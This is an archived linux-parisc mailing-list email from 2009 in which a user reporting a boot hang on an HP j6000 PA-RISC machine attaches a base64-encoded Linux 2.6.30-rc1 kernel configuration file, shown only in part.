DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type;
        bh=ZpX+OPSgFYVwZHHLka4MGnTdtIO7EysiNQ6Ee4LEmXs=;
        b=l9R5B2A7tH6NBuyVbojXPLaXp1nLKinE1guBZsgu+TJ/VOKqGGK+Voxfh3jRfisvbM
         s1BTEW0G9UgcsK2HbeUEdSLJRnZ3wiKdojDsxjlHAxN0LgVTQE6t617RVxxf1in2nGlu
         lHGbBYR2cimjuVHaETJDiQ3QdGy/wC4eQqmq0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        b=Sj7jBpTqimCuREec3PpI/690JJZ9yqs82D4j9aqZAYr0iM1wOVl3dVaKggc9+5ukWn
         onvqAL73rzibtmW9ZMyQD9wTjba6r+mD5Y6FNvFLaud5veW2zWWZyP2x9/cxTVAtoJpI
         VXtNuXaIFt44BKzBeX8c6nZbc9ERAw6QDesIs=
Original-Received: by 10.210.10.8 with SMTP id 8mr275426ebj.7.1239266775984; Thu, 09 
	Apr 2009 01:46:15 -0700 (PDT)
In-Reply-To: <20090408220921.GF7372@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1498 gmane.linux.kernel:820093 gmane.linux.kernel.kernel-testers:4268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1498>

--0015174bde46f6eaf404671b47e4
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

2009/4/9 Kyle McMartin <kyle@mcmartin.ca>:
> On Wed, Apr 08, 2009 at 05:03:04PM +0400, Alexander Beregalov wrote:
>> Hi
>>
>> Machine is HP j6000.
>> CPU(s): 2 x PA8700 (PCX-W2) at 750.000000 MHz
>>
>> gcc version 4.3.3 (Gentoo 4.3.3-r2 p1.1, pie-10.1.5)
>>
>>
>> Machine hangs before starting rc scripts, but SysRq and C-A-Del work.
>>
>> All tasks are at __schedule+0x268/0x7bc:
>>
>
> .config?

Sorry, attached.

--0015174bde46f6eaf404671b47e4
Content-Type: application/octet-stream; name=hppa-config
Content-Disposition: attachment; filename=hppa-config
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ftb7fbe50

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIG1ha2UgY29uZmlnOiBkb24ndCBlZGl0CiMgTGlu
dXgga2VybmVsIHZlcnNpb246IDIuNi4zMC1yYzEKIyBXZWQgQXByICA4IDEyOjE1OjI3IDIwMDkK
IwpDT05GSUdfUEFSSVNDPXkKQ09ORklHX01NVT15CkNPTkZJR19TVEFDS19HUk9XU1VQPXkKQ09O
RklHX1JXU0VNX0dFTkVSSUNfU1BJTkxPQ0s9eQojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VMzIg
aXMgbm90IHNldAojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VNjQgaXMgbm90IHNldApDT05GSUdf
R0VORVJJQ19GSU5EX05FWFRfQklUPXkKQ09ORklHX0dFTkVSSUNfQlVHPXkKQ09ORklHX0dFTkVS
SUNfSFdFSUdIVD15CkNPTkZJR19HRU5FUklDX0NBTElCUkFURV9ERUxBWT15CkNPTkZJR19HRU5F
UklDX1RJTUU9eQpDT05GSUdfVElNRV9MT1dfUkVTPXkKQ09ORklHX0dFTkVSSUNfSEFSRElSUVM9
eQpDT05GSUdfR0VORVJJQ19JUlFfUFJPQkU9eQpDT05GSUdfSEFWRV9MQVRFTkNZVE9QX1NVUFBP
UlQ9eQpDT05GSUdfSVJRX1BFUl9DUFU9eQpDT05GSUdfU1RBQ0tUUkFDRV9TVVBQT1JUPXkKQ09O
RklHX0RFRkNPTkZJR19MSVNUPSIvbGliL21vZHVsZXMvJFVOQU1FX1JFTEVBU0UvLmNvbmZpZyIK
CiMKIyBHZW5lcmFsIHNldHVwCiMKQ09ORklHX0VYUEVSSU1FTlRBTD15CkNPTkZJR19MT0NLX0tF
Uk5FTD15CkNPTkZJR19JTklUX0VOVl9BUkdfTElNSVQ9MzIKQ09ORklHX0xPQ0FMVkVSU0lPTj0i
IgpDT05GSUdfTE9DQUxWRVJTSU9OX0FVVE89eQpDT05GSUdfU1dBUD15CkNPTkZJR19TWVNWSVBD
PXkKQ09ORklHX1NZU1ZJUENfU1lTQ1RMPXkKQ09ORklHX1BPU0lYX01RVUVVRT15CkNPTkZJR19Q
T1NJWF9NUVVFVUVfU1lTQ1RMPXkKIyBDT05GSUdfQlNEX1BST0NFU1NfQUNDVCBpcyBub3Qgc2V0
CiMgQ09ORklHX1RBU0tTVEFUUyBpcyBub3Qgc2V0CiMgQ09ORklHX0FVRElUIGlzIG5vdCBzZXQK
CiMKIyBSQ1UgU3Vic3lzdGVtCiMKQ09ORklHX0NMQVNTSUNfUkNVPXkKIyBDT05GSUdfVFJFRV9S
Q1UgaXMgbm90IHNldAojIENPTkZJR19QUkVFTVBUX1JDVSBpcyBub3Qgc2V0CiMgQ09ORklHX1RS
RUVfUkNVX1RSQUNFIGlzIG5vdCBzZXQKIyBDT05GSUdfUFJFRU1QVF9SQ1VfVFJBQ0UgaXMgbm90
IHNldApDT05GSUdfSUtDT05GSUc9eQpDT05GSUdfSUtDT05GSUdfUFJPQz15CkNPTkZJR19MT0df
QlVGX1NISUZUPTE2CiMgQ09ORklHX0dST1VQX1NDSEVEIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0dS
T1VQUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NZU0ZTX0RFUFJFQ0FURURfVjIgaXMgbm90IHNldAoj
IENPTkZJR19SRUxBWSBpcyBub3Qgc2V0CkNPTkZJR19OQU1FU1BBQ0VTPXkKIyBDT05GSUdfVVRT
X05TIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBDX05TIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNFUl9O
UyBpcyBub3Qgc2V0CiMgQ09ORklHX1BJRF9OUyBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9OUyBp
cyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfSU5JVFJEIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0Nf
T1BUSU1JWkVfRk9SX1NJWkUgaXMgbm90IHNldApDT05GSUdfU1lTQ1RMPXkKQ09ORklHX0FOT05f
SU5PREVTPXkKIyBDT05GSUdfRU1CRURERUQgaXMgbm90IHNldApDT05GSUdfU1lTQ1RMX1NZU0NB
TEw9eQpDT05GSUdfS0FMTFNZTVM9eQpDT05GSUdfS0FMTFNZTVNfQUxMPXkKIyBDT05GSUdfS0FM
TFNZTVNfRVhUUkFfUEFTUyBpcyBub3Qgc2V0CkNPTkZJR19IT1RQTFVHPXkKQ09ORklHX1BSSU5U
Sz15CkNPTkZJR19CVUc9eQpDT05GSUdfRUxGX0NPUkU9eQpDT05GSUdfQkFTRV9GVUxMPXkKQ09O
RklHX0ZVVEVYPXkKQ09ORklHX0VQT0xMPXkKQ09ORklHX1NJR05BTEZEPXkKQ09ORklHX1RJTUVS
RkQ9eQpDT05GSUdfRVZFTlRGRD15CkNPTkZJR19TSE1FTT15CkNPTkZJR19BSU89eQpDT05GSUdf
Vk1fRVZFTlRfQ09VTlRFUlM9eQpDT05GSUdfUENJX1FVSVJLUz15CkNPTkZJR19TTFVCX0RFQlVH
PXkKQ09ORklHX0NPTVBBVF9CUks9eQojIENPTkZJR19TTEFCIGlzIG5vdCBzZXQKQ09ORklHX1NM
VUI9eQojIENPTkZJR19TTE9CIGlzIG5vdCBzZXQKIyBDT05GSUdfUFJPRklMSU5HIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTUFSS0VSUyBpcyBub3Qgc2V0CkNPTkZJR19IQVZFX09QUk9GSUxFPXkKQ09O
RklHX1VTRV9HRU5FUklDX1NNUF9IRUxQRVJTPXkKIyBDT05GSUdfU0xPV19XT1JLIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSEFWRV9HRU5FUklDX0RNQV9DT0hFUkVOVCBpcyBub3Qgc2V0CkNPTkZJR19T
TEFCSU5GTz15CkNPTkZJR19SVF9NVVRFWEVTPXkKQ09ORklHX0JBU0VfU01BTEw9MApDT05GSUdf
TU9EVUxFUz15CiMgQ09ORklHX01PRFVMRV9GT1JDRV9MT0FEIGlzIG5vdCBzZXQKQ09ORklHX01P
RFVMRV9VTkxPQUQ9eQpDT05GSUdfTU9EVUxFX0ZPUkNFX1VOTE9BRD15CiMgQ09ORklHX01PRFZF
UlNJT05TIGlzIG5vdCBzZXQKIyBDT05GSUdfTU9EVUxFX1NSQ1ZFUlNJT05fQUxMIGlzIG5vdCBz
ZXQKQ09ORklHX0lOSVRfQUxMX1BPU1NJQkxFPXkKQ09ORklHX1NUT1BfTUFDSElORT15CkNPTkZJ
R19CTE9DSz15CkNPTkZJR19MQkQ9eQojIENPTkZJR19CTEtfREVWX0JTRyBpcyBub3Qgc2V0CiMg
Q09ORklHX0JMS19ERVZfSU5URUdSSVRZIGlzIG5vdCBzZXQKCiMKIyBJTyBTY2hlZHVsZXJzCiMK
Q09ORklHX0lPU0NIRURfTk9PUD15CiMgQ09ORklHX0lPU0NIRURfQVMgaXMgbm90IHNldAojIENP
TkZJR19JT1NDSEVEX0RFQURMSU5FIGlzIG5vdCBzZXQKQ09ORklHX0lPU0NIRURfQ0ZRPXkKIyBD
T05GSUdfREVGQVVMVF9BUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFRkFVTFRfREVBRExJTkUgaXMg
bm90IHNldApDT05GSUdfREVGQVVMVF9DRlE9eQojIENPTkZJR19ERUZBVUxUX05PT1AgaXMgbm90
IHNldApDT05GSUdfREVGQVVMVF9JT1NDSEVEPSJjZnEiCiMgQ09ORklHX0ZSRUVaRVIgaXMgbm90
IHNldAoKIwojIFByb2Nlc3NvciB0eXBlIGFuZCBmZWF0dXJlcwojCiMgQ09ORklHX1BBNzAwMCBp
cyBub3Qgc2V0CiMgQ09ORklHX1BBNzEwMExDIGlzIG5vdCBzZXQKIyBDT05GSUdfUEE3MjAwIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEE3MzAwTEMgaXMgbm90IHNldApDT05GSUdfUEE4WDAwPXkKQ09O
RklHX1BBMjA9eQpDT05GSUdfUFJFRkVUQ0g9eQojIENPTkZJR182NEJJVCBpcyBub3Qgc2V0CkNP
TkZJR19QQVJJU0NfUEFHRV9TSVpFXzRLQj15CiMgQ09ORklHX1BBUklTQ19QQUdFX1NJWkVfMTZL
QiBpcyBub3Qgc2V0CiMgQ09ORklHX1BBUklTQ19QQUdFX1NJWkVfNjRLQiBpcyBub3Qgc2V0CkNP
TkZJR19TTVA9eQpDT05GSUdfSE9UUExVR19DUFU9eQpDT05GSUdfQVJDSF9GTEFUTUVNX0VOQUJM
RT15CiMgQ09ORklHX1BSRUVNUFRfTk9ORSBpcyBub3Qgc2V0CkNPTkZJR19QUkVFTVBUX1ZPTFVO
VEFSWT15CiMgQ09ORklHX1BSRUVNUFQgaXMgbm90IHNldApDT05GSUdfSFpfMTAwPXkKIyBDT05G
SUdfSFpfMjUwIGlzIG5vdCBzZXQKIyBDT05GSUdfSFpfMzAwIGlzIG5vdCBzZXQKIyBDT05GSUdf
SFpfMTAwMCBpcyBub3Qgc2V0CkNPTkZJR19IWj0xMDAKIyBDT05GSUdfU0NIRURfSFJUSUNLIGlz
IG5vdCBzZXQKQ09ORklHX1NFTEVDVF9NRU1PUllfTU9ERUw9eQpDT05GSUdfRkxBVE1FTV9NQU5V
QUw9eQojIENPTkZJR19ESVNDT05USUdNRU1fTUFOVUFMIGlzIG5vdCBzZXQKIyBDT05GSUdfU1BB
UlNFTUVNX01BTlVBTCBpcyBub3Qgc2V0CkNPTkZJR19GTEFUTUVNPXkKQ09ORklHX0ZMQVRfTk9E
RV9NRU1fTUFQPXkKQ09ORklHX1BBR0VGTEFHU19FWFRFTkRFRD15CkNPTkZJR19TUExJVF9QVExP
Q0tfQ1BVUz00CiMgQ09ORklHX1BIWVNfQUREUl9UXzY0QklUIGlzIG5vdCBzZXQKQ09ORklHX1pP
TkVfRE1BX0ZMQUc9MApDT05GSUdfVklSVF9UT19CVVM9eQpDT05GSUdfVU5FVklDVEFCTEVfTFJV
PXkKQ09ORklHX0hBVkVfTUxPQ0s9eQpDT05GSUdfSEFWRV9NTE9DS0VEX1BBR0VfQklUPXkKIyBD
T05GSUdfSFBVWCBpcyBub3Qgc2V0CkNPTkZJR19OUl9DUFVTPTIKCiMKIyBCdXMgb3B0aW9ucyAo
UENJLCBQQ01DSUEsIEVJU0EsIEdTQywgSVNBKQojCiMgQ09ORklHX0dTQyBpcyBub3Qgc2V0CkNP
TkZJR19QQ0k9eQojIENPTkZJR19BUkNIX1NVUFBPUlRTX01TSSBpcyBub3Qgc2V0CiMgQ09ORklH
X1BDSV9MRUdBQ1kgaXMgbm90IHNldAojIENPTkZJR19QQ0lfREVCVUcgaXMgbm90IHNldAojIENP
TkZJR19QQ0lfU1RVQiBpcyBub3Qgc2V0CiMgQ09ORklHX1BDSV9JT1YgaXMgbm90IHNldApDT05G
SUdfUENJX0xCQT15CkNPTkZJR19JT1NBUElDPXkKQ09ORklHX0lPTU1VX1NCQT15CkNPTkZJR19J
T01NVV9IRUxQRVI9eQojIENPTkZJR19QQ0NBUkQgaXMgbm90IHNldAojIENPTkZJR19IT1RQTFVH
X1BDSSBpcyBub3Qgc2V0CgojCiMgUEEtUklTQyBzcGVjaWZpYyBkcml2ZXJzCiMKQ09ORklHX1NV
UEVSSU89eQpDT05GSUdfQ0hBU1NJU19MQ0RfTEVEPXkKQ09ORklHX1BEQ19DSEFTU0lTPXkKQ09O
RklHX1BEQ19DSEFTU0lTX1dBUk49eQpDT05GSUdfUERDX1NUQUJMRT15CgojCiMgRXhlY3V0YWJs
ZSBmaWxlIGZvcm1hdHMKIwpDT05GSUdfQklORk1UX0VMRj15CiMgQ09ORklHX0NPUkVfRFVNUF9E
RUZBVUxUX0VMRl9IRUFERVJTIGlzIG5vdCBzZXQKIyBDT05GSUdfSEFWRV9BT1VUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQklORk1UX01JU0MgaXMgbm90IHNldApDT05GSUdfTkVUPXkKCiMKIyBOZXR3
b3JraW5nIG9wdGlvbnMKIwpDT05GSUdfUEFDS0VUPXkKQ09ORklHX1BBQ0tFVF9NTUFQPXkKQ09O
RklHX1VOSVg9eQojIENPTkZJR19ORVRfS0VZIGlzIG5vdCBzZXQKQ09ORklHX0lORVQ9eQojIENP
TkZJR19JUF9NVUxUSUNBU1QgaXMgbm90IHNldAojIENPTkZJR19JUF9BRFZBTkNFRF9ST1VURVIg
aXMgbm90IHNldApDT05GSUdfSVBfRklCX0hBU0g9eQojIENPTkZJR19JUF9QTlAgaXMgbm90IHNl
dAojIENPTkZJR19ORVRfSVBJUCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9JUEdSRSBpcyBub3Qg
c2V0CiMgQ09ORklHX0FSUEQgaXMgbm90IHNldAojIENPTkZJR19TWU5fQ09PS0lFUyBpcyBub3Qg
c2V0CiMgQ09ORklHX0lORVRfQUggaXMgbm90IHNldAojIENPTkZJR19JTkVUX0VTUCBpcyBub3Qg
c2V0CiMgQ09ORklHX0lORVRfSVBDT01QIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9YRlJNX1RV
Tk5FTCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVRfVFVOTkVMIGlzIG5vdCBzZXQKIyBDT05GSUdf
SU5FVF9YRlJNX01PREVfVFJBTlNQT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9YRlJNX01P
REVfVFVOTkVMIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9YRlJNX01PREVfQkVFVCBpcyBub3Qg
c2V0CiMgQ09ORklHX0lORVRfTFJPIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9ESUFHIGlzIG5v
dCBzZXQKIyBDT05GSUdfVENQX0NPTkdfQURWQU5DRUQgaXMgbm90IHNldApDT05GSUdfVENQX0NP
TkdfQ1VCSUM9eQpDT05GSUdfREVGQVVMVF9UQ1BfQ09ORz0iY3ViaWMiCiMgQ09ORklHX1RDUF9N
RDVTSUcgaXMgbm90IHNldAojIENPTkZJR19JUFY2IGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUV09S
S19TRUNNQVJLIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVURklMVEVSIGlzIG5vdCBzZXQKIyBDT05G
SUdfSVBfRENDUCBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX1NDVFAgaXMgbm90IHNldAojIENPTkZJ
R19USVBDIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRNIGlzIG5vdCBzZXQKIyBDT05GSUdfQlJJREdF
IGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0RTQSBpcyBub3Qgc2V0CiMgQ09ORklHX1ZMQU5fODAy
MVEgaXMgbm90IHNldAojIENPTkZJR19ERUNORVQgaXMgbm90IHNldAojIENPTkZJR19MTEMyIGlz
IG5vdCBzZXQKIyBDT05GSUdfSVBYIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRBTEsgaXMgbm90IHNl
dAojIENPTkZJR19YMjUgaXMgbm90IHNldAojIENPTkZJR19MQVBCIGlzIG5vdCBzZXQKIyBDT05G
SUdfRUNPTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfV0FOX1JPVVRFUiBpcyBub3Qgc2V0CiMgQ09O
RklHX1BIT05FVCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9TQ0hFRCBpcyBub3Qgc2V0CiMgQ09O
RklHX0RDQiBpcyBub3Qgc2V0CgojCiMgTmV0d29yayB0ZXN0aW5nCiMKIyBDT05GSUdfTkVUX1BL
VEdFTiBpcyBub3Qgc2V0CiMgQ09ORklHX0hBTVJBRElPIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0FO
IGlzIG5vdCBzZXQKIyBDT05GSUdfSVJEQSBpcyBub3Qgc2V0CiMgQ09ORklHX0JUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQUZfUlhSUEMgaXMgbm90IHNldAojIENPTkZJR19XSVJFTEVTUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1dJTUFYIGlzIG5vdCBzZXQKIyBDT05GSUdfUkZLSUxMIGlzIG5vdCBzZXQK
IyBDT05GSUdfTkVUXzlQIGlzIG5vdCBzZXQKCiMKIyBEZXZpY2UgRHJpdmVycwojCgojCiMgR2Vu
ZXJpYyBEcml2ZXIgT3B0aW9ucwojCkNPTkZJR19VRVZFTlRfSEVMUEVSX1BBVEg9Ii9zYmluL2hv
dHBsdWciCiMgQ09ORklHX1NUQU5EQUxPTkUgaXMgbm90IHNldAojIENPTkZJR19QUkVWRU5UX0ZJ
Uk1XQVJFX0JVSUxEIGlzIG5vdCBzZXQKQ09ORklHX0ZXX0xPQURFUj15CkNPTkZJR19GSVJNV0FS
RV9JTl9LRVJORUw9eQpDT05GSUdfRVhUUkFfRklSTVdBUkU9IiIKIyBDT05GSUdfREVCVUdfRFJJ
VkVSIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfREVWUkVTIGlzIG5vdCBzZXQKIyBDT05GSUdf
U1lTX0hZUEVSVklTT1IgaXMgbm90IHNldAojIENPTkZJR19DT05ORUNUT1IgaXMgbm90IHNldAoj
IENPTkZJR19NVEQgaXMgbm90IHNldAojIENPTkZJR19QQVJQT1JUIGlzIG5vdCBzZXQKQ09ORklH
X0JMS19ERVY9eQojIENPTkZJR19CTEtfQ1BRX0RBIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0NQ
UV9DSVNTX0RBIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9EQUM5NjAgaXMgbm90IHNldAoj
IENPTkZJR19CTEtfREVWX1VNRU0gaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0NPV19DT01N
T04gaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9MT09QPXkKIyBDT05GSUdfQkxLX0RFVl9DUllQ
VE9MT09QIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9OQkQgaXMgbm90IHNldAojIENPTkZJ
R19CTEtfREVWX1NYOCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfVUIgaXMgbm90IHNldAoj
IENPTkZJR19CTEtfREVWX1JBTSBpcyBub3Qgc2V0CiMgQ09ORklHX0NEUk9NX1BLVENEVkQgaXMg
bm90IHNldAojIENPTkZJR19BVEFfT1ZFUl9FVEggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVW
X0hEIGlzIG5vdCBzZXQKIyBDT05GSUdfTUlTQ19ERVZJQ0VTIGlzIG5vdCBzZXQKQ09ORklHX0hB
VkVfSURFPXkKIyBDT05GSUdfSURFIGlzIG5vdCBzZXQKCiMKIyBTQ1NJIGRldmljZSBzdXBwb3J0
CiMKIyBDT05GSUdfUkFJRF9BVFRSUyBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJPXkKQ09ORklHX1ND
U0lfRE1BPXkKIyBDT05GSUdfU0NTSV9UR1QgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX05FVExJ
TksgaXMgbm90IHNldApDT05GSUdfU0NTSV9QUk9DX0ZTPXkKCiMKIyBTQ1NJIHN1cHBvcnQgdHlw
ZSAoZGlzaywgdGFwZSwgQ0QtUk9NKQojCkNPTkZJR19CTEtfREVWX1NEPXkKIyBDT05GSUdfQ0hS
X0RFVl9TVCBpcyBub3Qgc2V0CiMgQ09ORklHX0NIUl9ERVZfT1NTVCBpcyBub3Qgc2V0CkNPTkZJ
R19CTEtfREVWX1NSPXkKIyBDT05GSUdfQkxLX0RFVl9TUl9WRU5ET1IgaXMgbm90IHNldApDT05G
SUdfQ0hSX0RFVl9TRz15CiMgQ09ORklHX0NIUl9ERVZfU0NIIGlzIG5vdCBzZXQKCiMKIyBTb21l
IFNDU0kgZGV2aWNlcyAoZS5nLiBDRCBqdWtlYm94KSBzdXBwb3J0IG11bHRpcGxlIExVTnMKIwoj
IENPTkZJR19TQ1NJX01VTFRJX0xVTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQ09OU1RBTlRT
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9MT0dHSU5HIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lf
U0NBTl9BU1lOQz15CkNPTkZJR19TQ1NJX1dBSVRfU0NBTj1tCgojCiMgU0NTSSBUcmFuc3BvcnRz
CiMKQ09ORklHX1NDU0lfU1BJX0FUVFJTPXkKIyBDT05GSUdfU0NTSV9GQ19BVFRSUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1NDU0lfSVNDU0lfQVRUUlMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NB
U19MSUJTQVMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NSUF9BVFRSUyBpcyBub3Qgc2V0CkNP
TkZJR19TQ1NJX0xPV0xFVkVMPXkKIyBDT05GSUdfSVNDU0lfVENQIGlzIG5vdCBzZXQKIyBDT05G
SUdfQkxLX0RFVl8zV19YWFhYX1JBSUQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJXzNXXzlYWFgg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX0FDQVJEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9B
QUNSQUlEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSUM3WFhYIGlzIG5vdCBzZXQKIyBDT05G
SUdfU0NTSV9BSUM3WFhYX09MRCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDNzlYWCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDOTRYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfRFBU
X0kyTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQURWQU5TWVMgaXMgbm90IHNldAojIENPTkZJ
R19TQ1NJX0FSQ01TUiBpcyBub3Qgc2V0CiMgQ09ORklHX01FR0FSQUlEX05FV0dFTiBpcyBub3Qg
c2V0CiMgQ09ORklHX01FR0FSQUlEX0xFR0FDWSBpcyBub3Qgc2V0CiMgQ09ORklHX01FR0FSQUlE
X1NBUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTVBUMlNBUyBpcyBub3Qgc2V0CiMgQ09ORklH
X1NDU0lfSFBUSU9QIGlzIG5vdCBzZXQKIyBDT05GSUdfTElCRkMgaXMgbm90IHNldAojIENPTkZJ
R19MSUJGQ09FIGlzIG5vdCBzZXQKIyBDT05GSUdfRkNPRSBpcyBub3Qgc2V0CiMgQ09ORklHX1ND
U0lfRE1YMzE5MUQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0ZVVFVSRV9ET01BSU4gaXMgbm90
IHNldAojIENPTkZJR19TQ1NJX0lQUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSU5JVElPIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0NTSV9JTklBMTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9N
VlNBUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfU1RFWCBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJ
X1NZTTUzQzhYWF8yPXkKQ09ORklHX1NDU0lfU1lNNTNDOFhYX0RNQV9BRERSRVNTSU5HX01PREU9
MQpDT05GSUdfU0NTSV9TWU01M0M4WFhfREVGQVVMVF9UQUdTPTE2CkNPTkZJR19TQ1NJX1NZTTUz
QzhYWF9NQVhfVEFHUz02NApDT05GSUdfU0NTSV9TWU01M0M4WFhfTU1JTz15CiMgQ09ORklHX1ND
U0lfSVBSIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9RTE9HSUNfMTI4MCBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfUUxBX0ZDIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9RTEFfSVNDU0kgaXMg
bm90IHNldAojIENPTkZJR19TQ1NJX0xQRkMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RDMzk1
eCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfREMzOTBUIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9OU1AzMiBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfREVCVUcgaXMgbm90IHNldAojIENPTkZJ
R19TQ1NJX1NSUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfREggaXMgbm90IHNldAojIENPTkZJ
R19TQ1NJX09TRF9JTklUSUFUT1IgaXMgbm90IHNldApDT05GSUdfQVRBPXkKIyBDT05GSUdfQVRB
X05PTlNUQU5EQVJEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9QTVAgaXMgbm90IHNldAojIENP
TkZJR19TQVRBX0FIQ0kgaXMgbm90IHNldAojIENPTkZJR19TQVRBX1NJTDI0IGlzIG5vdCBzZXQK
Q09ORklHX0FUQV9TRkY9eQojIENPTkZJR19TQVRBX1NWVyBpcyBub3Qgc2V0CiMgQ09ORklHX0FU
QV9QSUlYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9NViBpcyBub3Qgc2V0CiMgQ09ORklHX1NB
VEFfTlYgaXMgbm90IHNldAojIENPTkZJR19QRENfQURNQSBpcyBub3Qgc2V0CiMgQ09ORklHX1NB
VEFfUVNUT1IgaXMgbm90IHNldAojIENPTkZJR19TQVRBX1BST01JU0UgaXMgbm90IHNldAojIENP
TkZJR19TQVRBX1NYNCBpcyBub3Qgc2V0CiMgQ09ORklHX1NBVEFfU0lMIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0FUQV9TSVMgaXMgbm90IHNldAojIENPTkZJR19TQVRBX1VMSSBpcyBub3Qgc2V0CiMg
Q09ORklHX1NBVEFfVklBIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9WSVRFU1NFIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU0FUQV9JTklDMTYyWCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfQUxJIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFUQV9BTUQgaXMgbm90IHNldAojIENPTkZJR19QQVRBX0FSVE9Q
IGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9BVElJWFAgaXMgbm90IHNldAojIENPTkZJR19QQVRB
X0NNRDY0MF9QQ0kgaXMgbm90IHNldAojIENPTkZJR19QQVRBX0NNRDY0WCBpcyBub3Qgc2V0CiMg
Q09ORklHX1BBVEFfQ1M1NTIwIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9DUzU1MzAgaXMgbm90
IHNldAojIENPTkZJR19QQVRBX0NZUFJFU1MgaXMgbm90IHNldAojIENPTkZJR19QQVRBX0VGQVIg
aXMgbm90IHNldAojIENPTkZJR19BVEFfR0VORVJJQyBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFf
SFBUMzY2IGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9IUFQzN1ggaXMgbm90IHNldAojIENPTkZJ
R19QQVRBX0hQVDNYMk4gaXMgbm90IHNldAojIENPTkZJR19QQVRBX0hQVDNYMyBpcyBub3Qgc2V0
